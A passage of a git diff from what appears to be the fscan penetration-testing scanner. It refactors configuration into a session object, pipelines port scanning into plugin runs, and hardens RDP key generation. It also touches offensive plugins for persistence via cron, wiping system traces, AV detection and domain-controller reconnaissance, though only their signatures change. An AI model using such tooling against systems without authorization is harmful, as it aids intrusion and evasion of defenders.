*common.Config, session *common.ScanSession) *SmartPortInfoScanner { return &SmartPortInfoScanner{ Address: addr, Port: port, Conn: conn, Timeout: timeout, config: config, + session: session, info: &Info{ Address: addr, Port: port, Conn: conn, + ctx: ctx, config: config, + session: session, Result: Result{ Service: Service{}, }, @@ -211,9 +219,14 @@ func (s *SmartPortInfoScanner) tryProbeList(probes []*Probe, usedProbes map[stri } usedProbes[probe.Name] = struct{}{} - probeData, err := DecodeData(probe.Data) - if err != nil { - continue + // 优先使用预解码数据 + probeData := probe.DecodedData + if probeData == nil { + var err error + probeData, err = DecodeData(probe.Data) + if err != nil { + continue + } } // 使用 TotalWaitMS 设置动态超时 @@ -251,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() { } // 重新建立连接 - newConn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) + newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) if err != nil { return } @@ -274,8 +287,15 @@ func (s *SmartPortInfoScanner) performSSLSecondStage(serviceInfo *ServiceInfo) * continue } - probeData, err := DecodeData(probe.Data) - if err != nil || len(probeData) == 0 { + probeData := probe.DecodedData + if probeData == nil { + var decErr error + probeData, decErr = DecodeData(probe.Data) + if decErr != nil || len(probeData) == 0 { + continue + } + } + if len(probeData) == 0 { continue } response := s.info.Connect(probeData) @@ -309,8 +329,15 @@ func (s *SmartPortInfoScanner) tryHTTPSProbe() *ServiceInfo { return nil } - probeData, err := DecodeData(probe.Data) - if err != nil || len(probeData) == 0 { + probeData := probe.DecodedData + if probeData == nil { + var decErr error + probeData, decErr = DecodeData(probe.Data) + if decErr != nil || len(probeData) == 0 { + return nil + } + } + if len(probeData) == 0 { return nil } response := s.info.Connect(probeData) @@ -481,10 +508,14 @@ func (i *Info) setReadTimeout(ms int) { // getReadTimeout 获取当前读取超时时间 func (i *Info) getReadTimeout() time.Duration { + ms := defaultReadTimeoutMS if i.readTimeoutMS > 0 { - return time.Duration(i.readTimeoutMS) * time.Millisecond + ms = i.readTimeoutMS } - return time.Duration(defaultReadTimeoutMS) * time.Millisecond + if i.maxReadTimeoutMS > 0 && ms > i.maxReadTimeoutMS { + ms = i.maxReadTimeoutMS + } + return time.Duration(ms) * time.Millisecond } // WrTimeout 默认读写超时时间(秒) @@ -511,7 +542,7 @@ func (i *Info) Write(msg []byte) error { _ = oldConn.Close() // 尝试重新连接 - 支持SOCKS5代理 - newConn, retryErr := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) + newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) if retryErr != nil { return retryErr } diff --git a/core/service_probe_strategy_test.go b/core/service_probe_strategy_test.go index 3922915..a603d36 100644 --- a/core/service_probe_strategy_test.go +++ b/core/service_probe_strategy_test.go @@ -13,6 +13,7 @@ service_probe_strategy_test.go - SmartProbeStrategy 策略逻辑测试 */ import ( + "context" "testing" "time" @@ -155,7 +156,7 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) { } // 使用 nil 连接(实际测试中会使用真实连接) - scanner := NewSmartPortInfoScanner("127.0.0.1", 80, nil, 3*time.Second, config) + scanner := NewSmartPortInfoScanner(context.Background(), "127.0.0.1", 80, nil, 3*time.Second, config, nil) if scanner == nil { t.Fatal("Scanner 创建失败") @@ -175,8 +176,8 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) { // TestDefaultConstants 验证默认常量值 func TestDefaultConstants(t *testing.T) { // 验证默认等待时间 - if defaultTotalWaitMS != 6000 { - t.Errorf("defaultTotalWaitMS 应该是 6000,实际是 %d", defaultTotalWaitMS) + if defaultTotalWaitMS != 3000 { + t.Errorf("defaultTotalWaitMS 应该是 3000,实际是 %d", defaultTotalWaitMS) } // 验证默认 intensity diff --git a/core/service_scanner.go b/core/service_scanner.go index 67d2eac..8924d0a 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "strconv" "strings" @@ -27,7 +28,7 @@ func NewServiceScanStrategy() *ServiceScanStrategy { func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config) { // 需要从命令行参数获取端口信息来进行过滤 // 如果没有指定端口,使用默认端口进行过滤显示 - ports := common.GetFlagVars().Ports + ports := config.Target.Ports if ports == "" || ports == "all" { // 默认端口扫描:显示所有插件 s.BaseScanStrategy.LogPluginInfo(config) @@ -42,7 +43,7 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config allPlugins, isCustomMode := s.GetPlugins(config) // 解析端口 - ports := s.parsePortList(common.GetFlagVars().Ports) + ports := s.parsePortList(config.Target.Ports) if len(ports) == 0 { s.BaseScanStrategy.LogPluginInfo(config) return @@ -112,10 +113,11 @@ func (s *ServiceScanStrategy) Description() string { } // Execute 执行服务扫描策略 -func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *ServiceScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + // 验证扫描目标(需要同时检查 -h 和 -hf 参数) - fv := common.GetFlagVars() - if info.Host == "" && fv.HostsFile == "" { + if info.Host == "" && session.Params.HostsFile == "" { common.LogError(i18n.GetText("parse_error_target_empty")) return } @@ -133,28 +135,88 @@ func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State s.LogPluginInfo(config) // 执行主机扫描流程 - s.performHostScan(config, state, info, ch, wg) + s.performHostScan(ctx, session, info, ch, wg) } // performHostScan 执行主机扫描的完整流程 -func (s *ServiceScanStrategy) performHostScan(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { - // 发现目标主机和端口 - targetInfos, err := s.discoverTargets(info.Host, info, config, state) +// pipeline 模式:端口扫描和插件执行并行,扫到开放端口立即开始跑插件 +func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + state := session.State + + // 解析目标主机 + hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { - common.LogError(err.Error()) + common.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) return } - // 执行漏洞扫描 - if len(targetInfos) > 0 { - ExecuteScanTasks(config, state, targetInfos, s, ch, wg) + // 主机存活检测 + if s.shouldPerformLivenessCheck(hosts, config) { + hosts = CheckLive(ctx, hosts, false, session) + common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) + } + + if len(hosts) == 0 && len(state.GetHostPorts()) == 0 { + return + } + + // 流式 channel:端口扫描发现开放端口后立即通知插件执行 + stream := make(chan string, 64) + + // 启动端口扫描 goroutine + go func() { + if len(hosts) > 0 { + EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream) + } else { + close(stream) + } + }() + + // pipeline 消费:边收开放端口边执行插件 + pluginsToRun, isCustomMode := s.GetPlugins(config) + cancelled := false + for addr := range stream { + if cancelled { + continue // ctx 已取消,排空 stream 防止写端阻塞 + } + select { + case <-ctx.Done(): + cancelled = true + continue + default: + } + + infos := s.convertToTargetInfos([]string{addr}, info) + for _, target := range infos { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } + } + + // 合并预设的 host:port + hostPorts := state.GetHostPorts() + if len(hostPorts) > 0 { + merged := mergeHostPorts(nil, hostPorts) + targets := s.convertToTargetInfos(merged, info) + for _, target := range targets { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } + state.ClearHostPorts() } } // PrepareTargets 准备目标信息 -func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, config *common.Config, state *common.State) []common.HostInfo { +func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, session *common.ScanSession) []common.HostInfo { // 发现目标主机和端口 - targetInfos, err := s.discoverTargets(info.Host, info, config, state) + targetInfos, err := s.discoverTargets(context.Background(), info.Host, info, session) if err != nil { common.LogError(err.Error()) return nil @@ -213,10 +275,11 @@ func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostIn // ============================================================================= // discoverTargets 发现目标主机和端口 -func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common.HostInfo, config *common.Config, state *common.State) ([]common.HostInfo, error) { +func (s *ServiceScanStrategy) discoverTargets(ctx context.Context, hostInput string, baseInfo common.HostInfo, session *common.ScanSession) ([]common.HostInfo, error) { + config := session.Config + state := session.State // 标准流程:解析目标主机 - fv := common.GetFlagVars() - hosts, err := parsers.ParseIP(hostInput, fv.HostsFile, fv.ExcludeHosts) + hosts, err := parsers.ParseIP(hostInput, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err) } @@ -227,12 +290,12 @@ func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common. if len(hosts) > 0 || len(state.GetHostPorts()) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts, config) { - hosts = CheckLive(hosts, false, config, state) + hosts = CheckLive(ctx, hosts, false, session) common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) } // 端口扫描 - alivePorts := s.discoverAlivePorts(hosts, config, state) + alivePorts := s.discoverAlivePorts(ctx, hosts, session) if len(alivePorts) > 0 { targetInfos = s.convertToTargetInfos(alivePorts, baseInfo) } @@ -247,26 +310,44 @@ func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string, config } // discoverAlivePorts 发现存活的端口 -func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string, config *common.Config, state *common.State) []string { +// 执行正常端口扫描后,合并预设的 host:port(来自项目缓存或 CLI),确保不遗漏 +func (s *ServiceScanStrategy) discoverAlivePorts(ctx context.Context, hosts []string, session *common.ScanSession) []string { + config := session.Config + state := session.State var alivePorts []string - // 如果已经有明确指定的host:port,直接使用(让后续SmartIdentify统一验证和识别) - hostPorts := state.GetHostPorts() - if len(hostPorts) > 0 { - alivePorts = hostPorts - common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) - state.ClearHostPorts() - return alivePorts + // 正常端口扫描 + if len(hosts) > 0 { + alivePorts = EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, nil) } - // 根据扫描模式选择端口扫描方式 - if len(hosts) > 0 { - alivePorts = EnhancedPortScan(hosts, config.Target.Ports, int64(config.Timeout.Seconds()), config, state) + // 合并预设的 host:port(项目缓存 / CLI 注入) + hostPorts := state.GetHostPorts() + if len(hostPorts) > 0 { + alivePorts = mergeHostPorts(alivePorts, hostPorts) + common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) + state.ClearHostPorts() } return alivePorts } +// mergeHostPorts 合并两个 host:port 列表并去重 +func mergeHostPorts(a, b []string) []string { + seen := make(map[string]struct{}, len(a)+len(b)) + for _, s := range a { + seen[s] = struct{}{} + } + for _, s := range b { + seen[s] = struct{}{} + } + result := make([]string, 0, len(seen)) + for s := range seen { + result = append(result, s) + } + return result +} + // convertToTargetInfos 将端口列表转换为目标信息 func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo { var infos []common.HostInfo diff --git a/core/web_scanner.go b/core/web_scanner.go index f688e10..782b80d 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "crypto/tls" "fmt" "net" @@ -18,6 +19,25 @@ import ( // Web服务检测 // =============================== +// 全局共享 HTTP Client,复用连接池减少 TLS 握手和 TCP 建连开销 +var ( + sharedHTTPClientOnce sync.Once + sharedHTTPClient *http.Client +) + +func getSharedHTTPClient(config *common.Config) *http.Client { + sharedHTTPClientOnce.Do(func() { + sharedHTTPClient = createHTTPClient(config) + // 启用 keep-alive 复用连接 + if t, ok := sharedHTTPClient.Transport.(*http.Transport); ok { + t.DisableKeepAlives = false + t.MaxIdleConns = 100 + t.MaxIdleConnsPerHost = 2 + } + }) + return sharedHTTPClient +} + // WebPortDetector 简化的Web检测器 - 保持API兼容 type WebPortDetector struct{} @@ -29,9 +49,9 @@ func GetWebPortDetector() *WebPortDetector { // DetectHTTPScheme 智能检测HTTP/HTTPS协议 // 策略:TLS握手优先(快速且准确),失败后尝试HTTP // 返回: "https", "http", 或 "" (都不是Web服务) -func DetectHTTPScheme(host string, port int, config *common.Config) string { +func DetectHTTPScheme(host string, port int, config *common.Config, session *common.ScanSession) string { // 优化:先快速检测 TCP 连通性 - if !isPortReachable(host, port, config) { + if !isPortReachable(host, port, config, session) { return "" } @@ -58,15 +78,7 @@ func DetectHTTPScheme(host string, port int, config *common.Config) string { // TLS握手失败,记录原因 // 第二步:尝试HTTP请求(回退检测HTTP) - client := &http.Client{ - Timeout: timeout, - Transport: &http.Transport{ - DisableKeepAlives: true, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse // 不跟随重定向 - }, - } + client := getSharedHTTPClient(config) // 使用HEAD请求(更轻量) httpURL := fmt.Sprintf("http://%s", addr) @@ -124,14 +136,14 @@ func createHTTPClient(config *common.Config) *http.Client { } // DetectHTTPServiceOnly HTTP协议检测 - 保持API兼容,简化实现 -func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config) bool { +func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config, session *common.ScanSession) bool { // 优化:先快速检测 TCP 连通性,避免在不可达端口上浪费双倍超时时间 // 对于不存在的端口,这可以将检测时间从 2×timeout 减少到 1×timeout - if !isPortReachable(host, port, config) { + if !isPortReachable(host, port, config, session) { return false } - client := createHTTPClient(config) + client := getSharedHTTPClient(config) // 尝试HTTP if w.tryHTTP(client, host, port, "http") { @@ -148,11 +160,11 @@ func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *c // isPortReachable 快速检测端口是否可达(TCP 连接测试) // 用于在 HTTP/HTTPS 检测前过滤不可达端口,避免双重超时 -func isPortReachable(host string, port int, config *common.Config) bool { +func isPortReachable(host string, port int, config *common.Config, session *common.ScanSession) bool { timeout := config.Network.WebTimeout addr := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := net.DialTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(context.Background(), "tcp", addr, timeout) if err != nil { return false } @@ -276,30 +288,6 @@ func IsMarkedWebService(host string, port int) bool { return exists } -// =============================== -// 指纹缓存 -// =============================== - -// 指纹缓存 - 存储 host:port → 指纹列表的映射 -var ( - fingerprintCache = make(map[string][]string) - fingerprintCacheMutex sync.RWMutex -) - -// SetFingerprints 存储目标的指纹信息 -func SetFingerprints(host string, port int, fingerprints []string) { - if len(fingerprints) == 0 { - return - } - - cacheKey := fmt.Sprintf("%s:%d", host, port) - - fingerprintCacheMutex.Lock() - defer fingerprintCacheMutex.Unlock() - - fingerprintCache[cacheKey] = fingerprints -} - // =============================== // Web扫描策略 // =============================== @@ -327,7 +315,7 @@ func (s *WebScanStrategy) Description() string { } // Execute 执行Web扫描策略 -func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *WebScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 输出扫描开始信息 s.LogScanStart() @@ -338,13 +326,13 @@ func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, in } // 准备URL目标 - targets := s.PrepareTargets(info, state) + targets := s.PrepareTargets(info, session.State) // 输出插件信息 - s.LogPluginInfo(config) + s.LogPluginInfo(session.Config) // 执行扫描任务 - ExecuteScanTasks(config, state, targets, s, ch, wg) + ExecuteScanTasks(ctx, session, targets, s, ch, wg) } // PrepareTargets 准备URL目标列表 diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ee67d86..ae5ae5e 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -662,6 +662,8 @@ func TestDetectHTTPScheme(t *testing.T) { cfg.Network.WebTimeout = 2 * time.Second defer func() { cfg.Network.WebTimeout = oldTimeout }() + session := common.NewScanSession(cfg, common.NewState(), common.GetFlagVars()) + t.Run("HTTPS服务器检测", func(t *testing.T) { // 创建HTTPS测试服务器 server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -677,7 +679,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "https" { t.Errorf("DetectHTTPScheme() = %q, 期望 'https'", result) } @@ -698,7 +700,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "http" { t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result) } @@ -706,7 +708,7 @@ func TestDetectHTTPScheme(t *testing.T) { t.Run("不存在的服务", func(t *testing.T) { // 使用127.0.0.1的一个未使用端口 - result := DetectHTTPScheme("127.0.0.1", 65534, cfg) + result := DetectHTTPScheme("127.0.0.1", 65534, cfg, session) if result != "" { t.Errorf("不存在的服务应返回空字符串, 实际 %q", result) } @@ -736,7 +738,7 @@ func TestDetectHTTPScheme(t *testing.T) { port, _ := strconv.Atoi(portStr) // 测试检测 - result := DetectHTTPScheme("127.0.0.1", port, cfg) + result := DetectHTTPScheme("127.0.0.1", port, cfg, session) if result != "" { t.Logf("非Web服务检测返回: %q (预期空字符串,但立即关闭连接可能被误判)", result) } @@ -757,7 +759,7 @@ func TestDetectHTTPScheme(t *testing.T) { host, portStr, _ := net.SplitHostPort(server.Listener.Addr().String()) port, _ := strconv.Atoi(portStr) - result := DetectHTTPScheme(host, port, cfg) + result := DetectHTTPScheme(host, port, cfg, session) if result != "https" { t.Errorf("TLS 1.0服务器应被检测为https, 实际 %q", result) } diff --git a/main.go b/main.go index b145efc..125e582 100644 --- a/main.go +++ b/main.go @@ -1,6 +1,7 @@ package main import ( + "context" "os" "os/signal" "syscall" @@ -64,7 +65,8 @@ func main() { os.Exit(130) // 128 + SIGINT(2) = 130,标准的中断退出码 }() defer func() { _ = common.Cleanup() }() + defer common.CloseLogger() // 执行扫描 - core.RunScan(*result.Info, result.Config, result.State) + core.RunScan(context.Background(), *result.Info, result.Session) } diff --git a/mylib/grdp/login/screen.go b/mylib/grdp/login/screen.go index 910b4f0..8babaec 100644 --- a/mylib/grdp/login/screen.go +++ b/mylib/grdp/login/screen.go @@ -173,7 +173,7 @@ func (g *Client) NlaAuthOnly(domain, user, pwd string, timeout int64) (bool, err func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpProtocol uint32) (info map[string]any) { start := time.Now() - exitFlag := make(chan bool) + exitFlag := make(chan bool, 1) info = make(map[string]any) targetSlice := strings.Split(g.Host, ":") @@ -200,6 +200,12 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP g.pdu.SetFastPathSender(g.tpkt) g.sec.SetChannelSender(g.mcs) + g.sec.On("error", func(e error) { + err = e + glog.Error("sec error", e) + g.pdu.Emit("done") + }) + g.tpkt.On("os_info", func(infoMap map[string]any) { glog.Debug("[+] callback, get os info ........................") for k, v := range infoMap { diff --git a/mylib/grdp/protocol/sec/sec.go b/mylib/grdp/protocol/sec/sec.go index eba25d2..d4aac11 100644 --- a/mylib/grdp/protocol/sec/sec.go +++ b/mylib/grdp/protocol/sec/sec.go @@ -9,6 +9,7 @@ import ( "crypto/sha1" "encoding/hex" "errors" + "fmt" "io" "unicode/utf16" @@ -495,7 +496,9 @@ func (c *Client) connect(clientData []interface{}, serverData []interface{}, use c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0 if c.enableEncryption { - c.sendClientRandom() + if !c.sendClientRandom() { + return + } } c.sendInfoPkt() @@ -611,7 +614,11 @@ func sessionKeyBlob(secret, random1, random2 []byte) []byte { return ms.Bytes() } -func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte) { +func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte, error) { + if len(clientRandom) < 32 || len(serverRandom) < 32 { + return nil, nil, nil, fmt.Errorf("invalid RDP random length: client=%d server=%d", len(clientRandom), len(serverRandom)) + } + b := &bytes.Buffer{} b.Write(clientRandom[:24]) b.Write(serverRandom[:24]) @@ -633,12 +640,12 @@ func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []b glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128)) //generate valid key if method == gcc.ENCRYPTION_FLAG_40BIT { - return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128) + return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128), nil } else if method == gcc.ENCRYPTION_FLAG_56BIT { - return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128) + return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128), nil } // method == gcc.ENCRYPTION_FLAG_128BIT - return macKey128, initialFirstKey128, initialSecondKey128 + return macKey128, initialFirstKey128, initialSecondKey128, nil } @@ -656,7 +663,7 @@ func (e *ClientSecurityExchangePDU) serialize() []byte { return buff.Bytes() } -func (c *Client) sendClientRandom() { +func (c *Client) sendClientRandom() bool { glog.Debug("send Client Random") clientRandom := core.Random(32) @@ -665,8 +672,14 @@ func (c *Client) sendClientRandom() { serverRandom := c.ServerSecurityData().ServerRandom glog.Debug("ServerRandom:", hex.EncodeToString(serverRandom)) - c.macKey, c.initialDecrytKey, c.initialEncryptKey = generateKeys(clientRandom, + var err error + c.macKey, c.initialDecrytKey, c.initialEncryptKey, err = generateKeys(clientRandom, serverRandom, c.ServerSecurityData().EncryptionMethod) + if err != nil { + glog.Error("generateKeys failed:", err) + c.Emit("error", err) + return false + } //initialize keys c.currentDecrytKey = c.initialDecrytKey @@ -681,13 +694,13 @@ func (c *Client) sendClientRandom() { if err != nil || serverPubKey == nil { glog.Error("GetPublicKey failed:", err) c.Emit("error", errors.New("failed to get server public key")) - return + return false } ret, err := rsa.EncryptPKCS1v15(rand.Reader, serverPubKey, core.Reverse(clientRandom)) if err != nil { glog.Error("EncryptPKCS1v15 err:", err) c.Emit("error", err) - return + return false } message := ClientSecurityExchangePDU{} message.EncryptedClientRandom = core.Reverse(ret) @@ -697,6 +710,7 @@ func (c *Client) sendClientRandom() { glog.Debug("message:", message) c.sendFlagged(EXCHANGE_PKT, message.serialize()) + return true } func (c *Client) sendInfoPkt() { var secFlag uint16 = INFO_PKT diff --git a/mylib/grdp/protocol/sec/sec_test.go b/mylib/grdp/protocol/sec/sec_test.go new file mode 100644 index 0000000..7906688 --- /dev/null +++ b/mylib/grdp/protocol/sec/sec_test.go @@ -0,0 +1,38 @@ +package sec + +import ( + "testing" + + "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc" +) + +func TestGenerateKeysRejectsShortRandoms(t *testing.T) { + glog.SetLevel(glog.NONE) + + clientRandom := make([]byte, 32) + serverRandom := make([]byte, 32) + + if _, _, _, err := generateKeys(clientRandom, nil, gcc.ENCRYPTION_FLAG_128BIT); err == nil { + t.Fatal("expected error for empty server random") + } + + if _, _, _, err := generateKeys(nil, serverRandom, gcc.ENCRYPTION_FLAG_128BIT); err == nil { + t.Fatal("expected error for empty client random") + } +} + +func TestGenerateKeysAcceptsValidRandoms(t *testing.T) { + glog.SetLevel(glog.NONE) + + clientRandom := make([]byte, 32) + serverRandom := make([]byte, 32) + + macKey, decryptKey, encryptKey, err := generateKeys(clientRandom, serverRandom, gcc.ENCRYPTION_FLAG_128BIT) + if err != nil { + t.Fatalf("generateKeys returned error for valid randoms: %v", err) + } + if len(macKey) != 16 || len(decryptKey) != 16 || len(encryptKey) != 16 { + t.Fatalf("unexpected key lengths: mac=%d decrypt=%d encrypt=%d", len(macKey), len(decryptKey), len(encryptKey)) + } +} diff --git a/plugins/init.go b/plugins/init.go index 3aee1ad..23188ea 100644 --- a/plugins/init.go +++ b/plugins/init.go @@ -11,7 +11,7 @@ import ( // Plugin 统一插件接口 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *Result + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *Result } // BasePlugin 基础插件结构,提供通用的name字段 @@ -62,7 +62,7 @@ type Result struct { // Exploiter 利用接口 type Exploiter interface { - Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult + Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult } // ExploitResult 利用结果 diff --git a/plugins/local/avdetect.go b/plugins/local/avdetect.go index ff5f1cb..b1436db 100644 --- a/plugins/local/avdetect.go +++ b/plugins/local/avdetect.go @@ -53,7 +53,7 @@ func NewAVDetectPlugin() *AVDetectPlugin { } // Scan 执行AV/EDR检测 - 直接、有效 -func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var detectedAVs []string @@ -69,7 +69,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - output.WriteString(fmt.Sprintf("扫描进程数: %d\n\n", len(processes))) + _, _ = fmt.Fprintf(&output, "扫描进程数: %d\n\n", len(processes)) // 检测AV产品 - 使用JSON数据库 for avName, avProduct := range p.avProducts { @@ -92,13 +92,13 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config if len(foundProcesses) > 0 { detectedAVs = append(detectedAVs, avName) - output.WriteString(fmt.Sprintf("✓ 检测到 %s:\n", avName)) + _, _ = fmt.Fprintf(&output, "✓ 检测到 %s:\n", avName) common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses))) // 输出详细进程信息到控制台 for _, proc := range foundProcesses { - output.WriteString(fmt.Sprintf(" - %s\n", proc)) + _, _ = fmt.Fprintf(&output, " - %s\n", proc) common.LogInfo(i18n.Tr("avdetect_process", proc)) } output.WriteString("\n") @@ -107,7 +107,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 统计结果 output.WriteString("=== 检测结果 ===\n") - output.WriteString(fmt.Sprintf("检测到的AV产品: %d个\n", len(detectedAVs))) + _, _ = fmt.Fprintf(&output, "检测到的AV产品: %d个\n", len(detectedAVs)) if len(detectedAVs) > 0 { output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n") diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go index 6d11682..5c2ddb6 100644 --- a/plugins/local/cleaner.go +++ b/plugins/local/cleaner.go @@ -32,7 +32,7 @@ func NewCleanerPlugin() *CleanerPlugin { } // Scan 执行系统痕迹清理 - 直接、简单 -func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var filesCleared, dirsCleared, sysCleared int @@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config for _, file := range files { if p.removeFile(file) { filesCleared++ - output.WriteString(fmt.Sprintf("清理文件: %s\n", file)) + _, _ = fmt.Fprintf(&output, "清理文件: %s\n", file) } } @@ -53,7 +53,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config for _, file := range tempFiles { if p.removeFile(file) { filesCleared++ - output.WriteString(fmt.Sprintf("清理临时文件: %s\n", file)) + _, _ = fmt.Fprintf(&output, "清理临时文件: %s\n", file) } } diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go index 612a8bc..eaf84cd 100644 --- a/plugins/local/crontask.go +++ b/plugins/local/crontask.go @@ -35,7 +35,8 @@ func NewCronTaskPlugin() *CronTaskPlugin { } // Scan 执行计划任务持久化 - 直接实现 -func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/dcinfo.go b/plugins/local/dcinfo.go index 3eccf6e..55d448e 100644 --- a/plugins/local/dcinfo.go +++ b/plugins/local/dcinfo.go @@ -41,7 +41,9 @@ func NewDCInfoPlugin() *DCInfoPlugin { } // Scan 执行域控信息收集 - 直接实现 -func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder output.WriteString("=== 域控制器信息收集 ===\n") diff --git a/plugins/local/downloader.go b/plugins/local/downloader.go index 1684ac8..a4afeb3 100644 --- 